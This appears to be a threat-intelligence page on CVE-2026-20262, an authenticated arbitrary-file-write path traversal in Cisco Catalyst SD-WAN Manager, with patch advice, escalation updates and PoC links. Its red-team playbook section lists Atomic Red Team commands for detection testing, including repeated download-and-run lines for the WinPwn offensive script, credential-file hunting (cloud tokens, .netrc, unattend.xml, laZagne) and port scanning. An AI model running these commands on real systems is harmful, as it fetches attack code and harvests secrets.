CVE-2026-20262
Overview
This vulnerability is a path traversal flaw (CWE-22) in the file upload functionality of Cisco Catalyst SD-WAN Manager's web UI. The root cause is improper validation of user-supplied input during the file upload process, allowing crafted input to manipulate file paths. The affected component is the API endpoint handling file uploads within the web management interface.
Vulnerability Description
A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an authenticated, remote attacker to create a file or overwrite any file on the filesystem of an affected system. This vulnerability exists because the affected software does not properly validate user-supplied input during a file upload process. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected API endpoint of the affected system. A successful exploit could allow the attacker to create or overwrite any file on the underlying operating system. This file could later be used to elevate to root. To exploit this vulnerability, the attacker must have valid credentials with at least a lower-privileged, single-task user account.
Impact
An attacker with valid low-privileged credentials can create or overwrite arbitrary files on the system hosting Cisco Catalyst SD-WAN Manager. This capability may allow the attacker to implant malicious files that could be leveraged for privilege escalation to root access. The consequence includes potential full system compromise, unauthorized data manipulation, and lateral movement within the network environment. Exploitation requires authentication, but no user interaction beyond that.
Solution
Cisco has released a security advisory (cisco-sa-sdwan-arbfw-c2rZvQ) addressing this issue in Cisco Catalyst SD-WAN Manager. Administrators should apply the updates provided in this advisory to affected versions as soon as possible. Detailed patch instructions and version-specific fixes are available at Cisco's Security Advisory portal linked in the reference. No alternative workarounds are specified.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the web UI of Cisco Catalyst SD-WAN Manager stems from inadequate validation of user-supplied input during the file upload process. This flaw allows an authenticated attacker to craft a malicious HTTP request targeting specific API endpoints within the system. By exploiting this weakness, the attacker can create or overwrite files on the underlying operating system, which poses significant risks. The lack of stringent input validation means that the system does not effectively check the integrity or legitimacy of the files being uploaded, allowing for potential manipulation of critical system files.
Attack vectors for this vulnerability primarily involve authenticated users with lower-privileged accounts. An attacker who has gained access to such an account can leverage this flaw to send specially crafted requests that exploit the file upload mechanism. For instance, an attacker could upload a malicious script or binary that, once executed, could provide a pathway for privilege escalation to root. This could lead to further exploitation, including the installation of backdoors, data exfiltration, or complete system compromise. The requirement for valid credentials does not significantly mitigate the risk, as attackers may use social engineering or phishing techniques to obtain these credentials.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on Cisco's SD-WAN solutions for their network management. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential regulatory repercussions if data breaches occur. The ability to overwrite critical files could also result in system instability or downtime, which can have cascading effects on business operations. Furthermore, the presence of such vulnerabilities can damage an organization's reputation, eroding customer trust and leading to financial losses.
Detection and mitigation strategies for this vulnerability should focus on both proactive and reactive measures. Organizations should implement robust monitoring solutions that can detect unusual file upload activities or unauthorized access attempts. Regular security audits and vulnerability assessments can help identify and remediate weaknesses in the system before they can be exploited. Additionally, applying the principle of least privilege is crucial; ensuring that users only have the necessary permissions to perform their tasks can limit the potential impact of such vulnerabilities. Keeping the software up to date with the latest security patches is also essential in mitigating risks associated with known vulnerabilities.
In conclusion, the vulnerability in the web UI of Cisco Catalyst SD-WAN Manager highlights the critical importance of input validation in web applications. The potential for exploitation by authenticated users poses significant risks to organizations, making it imperative for businesses to adopt comprehensive security practices. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats and safeguard their systems and data.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-20262, with a recent emergence of multiple new sightings indicating increased targeting attempts against Cisco Catalyst SD-WAN Manager systems. This development coincides with the vulnerability’s addition to the CISA Known Exploited Vulnerabilities (KEV) catalog, underscoring its growing prominence in the threat landscape and the prioritization of remediation efforts by federal agencies. The assignment of a CVSS score of 6.5 further formalizes the medium severity risk, reflecting the potential impact of unauthorized file creation or overwriting on affected systems. Although no public exploit code or ransomware linkage has yet been identified, the sharp uptick in detection activity signals heightened adversary interest, which could presage active exploitation attempts. For defenders, this shift elevates the urgency to monitor for exploitation indicators and reassess exposure, as the vulnerability’s exploitation could facilitate persistent compromise or disruption within critical network infrastructure. Consequently, the threat level should be considered elevated from a latent to an active risk, warranting increased vigilance despite the current absence of confirmed exploit campaigns.
Update 2 — June 23, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation activity targeting CVE-2026-20262, evidenced by a substantial increase in detection frequency and the emergence of new proof-of-concept exploits publicly available on GitHub. This development signifies a broadening of the exploit landscape, lowering the barrier for threat actors to weaponize this vulnerability. The increase in EPSS score further corroborates the growing likelihood of exploitation attempts in operational environments. For defenders, this shift underscores an elevated risk posture, as the availability of exploit code combined with heightened adversary interest increases the probability of active attacks aimed at arbitrary file creation or overwriting within Cisco Catalyst SD-WAN Manager deployments. Consequently, the threat level associated with this vulnerability has transitioned from latent to actively exploitable, warranting intensified monitoring and prioritization in defensive strategies.
Update 3 — July 08, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2026-20262, as evidenced by a significant uptick in detection activity and a substantial rise in the Exploit Prediction Scoring System (EPSS) score. This surge coincides with the recent inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog, which has likely elevated attacker focus and operational urgency. Additionally, new proof-of-concept exploits have emerged publicly, lowering the barrier for threat actors to weaponize this vulnerability. The convergence of increased telemetry signals, elevated EPSS percentile ranking, and accessible exploit code indicates a transition from theoretical risk to active exploitation in the wild. For defenders, this evolution necessitates heightened vigilance and prioritization of monitoring efforts around Cisco Catalyst SD-WAN Manager environments, as adversaries are now more capable and motivated to leverage the arbitrary file write flaw for persistence or lateral movement. Consequently, the threat level associated with CVE-2026-20262 has escalated from medium to a more pronounced operational risk, reflecting its growing prominence in attacker toolkits and exploitation campaigns.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Catalyst Sd-Wan Manager | All |
cpe:2.3:a:cisco:catalyst_sd-wan_manager:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
fevar54/CVE-2026-20262-Cisco-Catalyst-SD-WAN-Manager-Arbitrary-File-Write-
CVE-2026-20262 - Cisco Catalyst SD-WAN Manager Arbitrary File Write Path Traversal Vulnerability (CWE-22) - Authenticate...
|
fevar54 | 1 | 0 | 2026-06-17 | View |
|
HORKimhab/CVE-2026-20262
CVE-2026-20262 - Draft
|
HORKimhab | 0 | 0 | 2026-06-16 | View |
Threat Feed
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Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-20262 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-arbfw-c2rZvQ |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20262 |